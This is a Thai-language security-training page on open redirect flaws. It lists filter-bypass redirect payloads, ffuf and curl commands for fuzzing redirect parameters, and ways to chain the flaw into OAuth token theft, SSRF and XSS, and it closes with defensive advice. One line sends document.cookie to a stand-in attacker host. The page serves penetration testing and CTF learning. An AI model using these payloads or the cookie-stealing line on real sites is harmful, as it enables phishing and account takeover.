คลัง
web

Open Redirect

Open Redirect เกิดเมื่อแอป redirect ไป URL ที่มาจาก input ผู้ใช้โดยไม่ตรวจปลายทาง ทำให้ลิงก์ที่ขึ้นต้นด้วยโดเมนน่าเชื่อถือพาเหยื่อไปเว็บอันตราย เดี่ยวๆ ความรุนแรงต่ำ (phishing) แต่ทรงพลังเมื่อ chain กับ OAuth token theft, SSRF filter bypass, หรือ XSS ผ่าน javascript: บทนี้เน้นการหา parameter, ชุด payload เลี่ยง filter ตาม URL-parsing quirks, และการ chain

BeginnerIntermediate#open-redirect#redirect#url-parsing#phishing#ssrf-chain#oauth#web#ctf

1. หลักการ

พารามิเตอร์อย่าง ?redirect=, ?next=, ?url=, ?return=, ?dest=, ?continue= ที่แอปเอาไป redirect (ผ่าน HTTP 3xx Location: หรือ JS location=) ถ้าไม่ validate ปลายทาง ผู้โจมตีใส่ URL ภายนอกได้ ลิงก์จึงขึ้นต้นด้วยโดเมนจริงที่เหยื่อไว้ใจ แต่พาไปเว็บปลอมหรือขโมย token

Open Redirect: ลิงก์โดเมนจริง → พาไป evil
https://trusted.com/go ?next=//evil.com evil.com phishing / token theft 302 Location เหยื่อเห็นโดเมนจริง → ไว้ใจ → ถูกพาออก
  • หา parameter: redirect, next, url, return, returnUrl, dest, destination, continue, goto, redir, r, u, target, callback
  • จุดที่พบบ่อย: หลัง login (?next=), logout, OAuth callback, ลิงก์ tracking, error page
  • ตรวจทั้ง redirect ฝั่ง server (3xx) และ client-side (location.href = param, meta refresh)

2. Payload & filter bypass

พื้นฐานและเลี่ยง filter
# พื้นฐาน
?next=https://evil.com
?next=//evil.com                    (protocol-relative — เลี่ยง 'ต้องขึ้นต้น /')
?next=https:evil.com                (บาง parser ยอม)
?next=https:/evil.com               (slash เดียว)

# เช็คแค่ 'มี trusted.com'
?next=https://trusted.com@evil.com   (userinfo → host จริงคือ evil.com)
?next=https://evil.com#trusted.com
?next=https://evil.com?trusted.com
?next=https://trusted.com.evil.com   (subdomain หลอก)
?next=https://evil.com/trusted.com

# เช็ค 'ขึ้นต้น trusted.com'
?next=https://trusted.com.evil.com
?next=https://trusted.com\.evil.com

# backslash / whitespace quirks (parser ต่างกัน)
?next=/\evil.com          ?next=\/\/evil.com
?next=/%2f/evil.com        ?next=%0a//evil.com
?next=https://evil.com%2f%2e%2e

# encoding
?next=https%3a%2f%2fevil.com
?next=%68%74%74%70%73://evil.com
filter ที่เช็คแค่ 'ขึ้นต้น /' โดน //evil.com; เช็คแค่ 'มี trusted.com' โดน @ หรือ subdomain trick; แต่ละ payload อาศัย URL-parser quirk คนละแบบ ลองเป็นชุด
filter ที่ dev ใช้payload ที่ผ่าน
ต้องขึ้นต้นด้วย ///evil.com, /\evil.com, /%09/evil.com
ต้องมี 'trusted.com'trusted.com@evil.com, evil.com/trusted.com
ต้องขึ้นต้น https://trusted.comhttps://trusted.com.evil.com
บล็อก http/https//evil.com, javascript:, data:
บล็อก '//'/\/evil.com, https:/evil.com, /%2f/evil.com
strip 'http'hthttptps://evil.com (nested)
หัวใจของ open redirect bypass คือ URL parser confusion — validator กับตัวที่ทำ redirect จริง (browser/HTTP lib) parse URL ต่างกัน ทดสอบด้วยชุด payload แล้วดูค่า Location: ที่ตอบกลับจริงว่า host กลายเป็นอะไร
fuzz parameter + ตรวจ Location ด้วย ffufLinux
# ยิงชุด payload แล้วดู response ที่ Location ชี้ evil.com
ffuf -u 'https://target/go?next=FUZZ' \
  -w redirect-payloads.txt \
  -mr 'Location: .*evil' -o or.json
# หรือดูด้วยตา:
curl -sI 'https://target/go?next=//evil.com' | grep -i location

3. การ chain (เพิ่มความรุนแรง)

open redirect เดี่ยวๆ เป็นแค่ phishing (low) แต่เมื่อ chain กับช่องอื่นกลายเป็น high/critical — นี่คือเหตุผลที่ควรรายงานเสมอแม้ดูเล็ก

  • OAuth/token theft: ถ้า callback ที่ถูก whitelist ใน OAuth มี open redirect → code/token ไหลออกไป evil ผ่านหน้าที่ 'ถูกต้อง' = account takeover (ดู OAuth Attacks)
  • SSRF filter bypass: ให้ URL ที่ผ่าน allowlist ของ SSRF แล้ว redirect ต่อไป internal (169.254.169.254) — server-side fetcher ตาม redirect (ดู SSRF)
  • XSS ผ่าน scheme: ถ้า redirect รับ javascript: หรือ data:javascript:alert(document.domain) รันในบริบทโดเมนจริง
  • Phishing น่าเชื่อ: ลิงก์ขึ้นต้นโดเมนจริง + reset/login page ปลอมที่ปลายทาง → เก็บ credential
  • CSRF token/Referer leak: redirect ออกไป evil แล้ว token/parameter ใน URL รั่วผ่าน Referer
javascript:/data: scheme → XSS
?next=javascript:alert(document.domain)
?redirect=javascript:fetch('//evil/'+document.cookie)
?url=data:text/html,<script>alert(1)</script>
# ได้ผลเมื่อ client ทำ location = param โดยไม่กรอง scheme
# server-side 3xx มักไม่ trigger (browser ไม่ execute Location: javascript:)
แยกให้ออก: client-side redirect (location=) → รัน javascript: ได้; server-side 302 → รันไม่ได้แต่ยัง phishing/token theft ได้
เจอ redirect parameter — ไล่ตามนี้
หา param: next/url/return/dest/redirect
ใส่ //evil.com — Location ชี้ evil ไหม?
ชี้ evilopen redirect ยืนยัน → หาทาง chain
ถูก filterลอง @ / subdomain / backslash / encode
redirect เป็น server (302) หรือ client (location=)?
client-sideลอง javascript:/data: → XSS
server-sidephishing / chain OAuth/SSRF
รายงานพร้อม impact ที่ chain แล้ว

4. ตัวอย่าง CTF & Real-world

CTF: หน้า login redirect ตาม ?returnTo= โดยเช็คแค่ 'ขึ้นต้น /' — payload ?returnTo=/\evil.com ถูก browser ตีความเป็น //evil.com (protocol-relative) → พาออกนอกโดเมน solve ด้วยการพา bot/admin ไปหน้าที่เก็บ token

Real-world: open redirect บนหน้า /auth/callback ของแอป ทำให้ OAuth code ที่ถูกส่งมาที่ callback (redirect_uri ที่ whitelist ไว้) ถูก redirect ต่อพร้อม code ใน query ไปโดเมนผู้โจมตี — ยกจาก 'low severity redirect' เป็น full account takeover เป็นเหตุผลที่ bug bounty จ่ายสูงเมื่อ chain กับ OAuth

5. ข้อผิดพลาด & การป้องกัน

  • รายงานเดี่ยวแล้วจบ: มองข้ามการ chain (OAuth/SSRF/XSS) ที่ยก severity
  • ลองแค่ payload เดียว: filter แต่ละแบบต้อง payload คนละ quirk — ลองเป็นชุด
  • ไม่แยก client/server redirect: javascript: ได้เฉพาะ client-side
  • ดูแค่หน้าจอ: ต้องดู header Location จริงว่า host กลายเป็นอะไร
การป้องกัน (blue team): หลีกเลี่ยงการรับ URL เต็มจากผู้ใช้ — ใช้ allowlist ของปลายทาง หรือ map ผ่าน id/relative path เท่านั้น, ถ้าจำเป็นต้องรับ URL ให้ parse แล้วเทียบ host กับ allowlist (ไม่ใช่ substring/prefix), บล็อก scheme นอกเหนือ http/https, บังคับให้ redirect เป็น relative path ที่ขึ้นต้น / เดียว (ปฏิเสธ // และ /\), และแสดงหน้า interstitial เตือนก่อนออกนอกโดเมน

6. Quick Reference

  • param: redirect/next/url/return/dest/continue/goto/callback
  • พื้นฐาน: //evil.com, https:evil.com, /\evil.com
  • bypass filter: @evil.com, trusted.com.evil.com, backslash, encode
  • หัวใจ = URL parser confusion (validator vs redirector)
  • client-side (location=) → javascript:/data: = XSS
  • chain: OAuth token theft, SSRF bypass, phishing, Referer leak
  • ตรวจด้วยการดู Location header จริง (ffuf -mr / curl -I)
  • ป้องกัน: allowlist host, relative path เท่านั้น, บล็อก scheme แปลก

🧭 จับมือทำทีละขั้น (มีแค่ Kali) + ถ้าติดไปไหนต่อ

สมมติเจอ parameter ที่ดูเหมือน redirect เช่น ?next= หรือ ?url= มีแค่ Kali เปล่าๆ ทำตามนี้ทีละขั้น

  1. 1เปิด Burp Suite ตั้ง proxy แล้วเดินแอปหา parameter ที่ทำ redirect (next/url/return/dest/redirect/continue/goto)
  2. 2ลองใส่ ?next=//evil.com แล้วดู response ด้วย curl -sI 'https://target/go?next=//evil.com' | grep -i location
  3. 3ถ้าถูก filter ลองชุด payload ทีละอัน: @evil.com, trusted.com.evil.com, backslash (/\evil.com), double-encode
  4. 4ใช้ ffuf ยิง payload list พร้อม grep Location header อัตโนมัติ (-mr 'Location: .*evil')
  5. 5เช็คว่า redirect เป็น server-side (3xx) หรือ client-side (location.href ใน JS) ด้วยการดู Network tab/source
  6. 6ถ้าเป็น client-side ลอง payload ?next=javascript:alert(document.domain)
  7. 7เช็คว่า parameter นี้เป็น OAuth redirect_uri/callback ไหม (ดูใน request /authorize ที่ Burp เก็บไว้)
  8. 8เช็คว่า parameter เดียวกันถูกใช้เป็น input ของ server-side fetch ไหม (เช่น URL preview/webhook) → อาจเป็น SSRF
  9. 9รายงานพร้อม impact ที่ chain ได้ (แนบ Location header จริงเป็นหลักฐาน)
ตัดสินใจ: open redirect นี้ chain ต่อได้ไหม
หา param redirect (next/url/return/dest) จาก Burp history
ใส่ //evil.com ดู Location header (curl -sI)
✅ Location ชี้ evil.com→ open redirect ยืนยัน → หาทาง chain ต่อ
❌ ถูก filter→ ลอง payload อื่น
ลอง @ trick / subdomain หลอก / backslash / double-encode ด้วย ffuf
✅ ผ่านสักแบบ→ กลับไปเช็ค chain
❌ กันแน่นหมด→ filter ดีมาก ลองดู business logic อื่นแทน
รายงานพร้อม impact ที่ chain แล้ว (phishing/token theft/SSRF)
ขั้นตอน/งานเครื่องมือใน Kaliติดตั้งเพิ่ม (ถ้าไม่มี)เครื่องมือออนไลน์
ดักจับ request หา param redirectBurp Suite Community--
เช็ค Location headercurl--
fuzz payload list + grep Locationffuf--
ทดสอบ client-side location.hrefเบราว์เซอร์ DevTools--
ลิสต์ payload bypass สำเร็จรูป--github.com/swisskyrepo/PayloadsAllTheThings
🚑 ถ้าตันสนิท ลองท่าถัดไป: OAuth Attacks — ถ้า param นี้คือ redirect_uri/callback ของ OAuth ให้ chain ขโมย code · SSRF — ถ้า server เป็นฝ่าย fetch URL นี้เอง (ไม่ใช่ browser เหยื่อ) · XSS — ถ้า redirect เป็น client-side และรับ scheme javascript: ได้ · CSRF — ถ้า token/parameter สำคัญรั่วผ่าน Referer หลัง redirect ออกนอกโดเมน

หัวข้อที่เชื่อมโยง

โน้ตของฉัน

ยังไม่มีโน้ตสำหรับหัวข้อนี้